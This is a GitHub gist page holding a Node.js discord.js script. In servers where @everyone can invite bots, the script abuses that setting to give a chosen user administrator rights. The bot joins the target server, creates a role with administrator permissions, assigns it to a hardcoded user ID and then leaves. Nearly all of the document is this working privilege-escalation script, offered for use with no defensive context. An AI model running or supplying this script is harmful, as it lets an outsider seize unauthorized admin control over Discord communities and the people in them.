Skip to content

Instantly share code, notes, and snippets.

@asdfugil
Created December 8, 2020 03:16
Show Gist options
  • Save asdfugil/f84451388c07da9b03f6c4bdd8a3a47b to your computer and use it in GitHub Desktop.
Save asdfugil/f84451388c07da9b03f6c4bdd8a3a47b to your computer and use it in GitHub Desktop.
elevate role position on discord when @everyone can invite bots
#!/usr/bin/env node
"use strict"
// Discord gives all bots with permissions a role , if @everyone can invite bots they can elevate their role position
// made by nick chan
const config = {
role_name: "Nick Chan",
role_colour: 0x000000,
role_permissions: 8,
mentionable: true,
bot_token: "*******************.******.**************************",
target_server_id: "",
user_id: "570634232465063967"
}
const { Client } = require('discord.js')
const client = new Client()
client.on("ready", async () => {
console.log("Ready")
console.log("INVITE LINK:" + await client.generateInvite({
guild: config.target_server_id,
disableGuildSelect: true,
permissions: 8
}))
})
client.on("guildCreate", guild => {
if (guild.id !== config.target_server_id) return
console.log("Joined target server!")
guild.roles.create({
data: {
name: config.role_name,
color: config.role_colour,
hoist: false,
permissions: config.role_permissions,
mentionable: config.mentionable
},
reason: "hehehe"
}).then(role => {
return role.guild.members.fetch(config.user_id)
.then(nickchan => {
return nickchan.roles.add(role, "hehehe")
}).then(nickchan => {
console.log('SUCCESS! leaving')
return nickchan.guild.leave()
})
.then(() => console.log("left server!"))
})
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment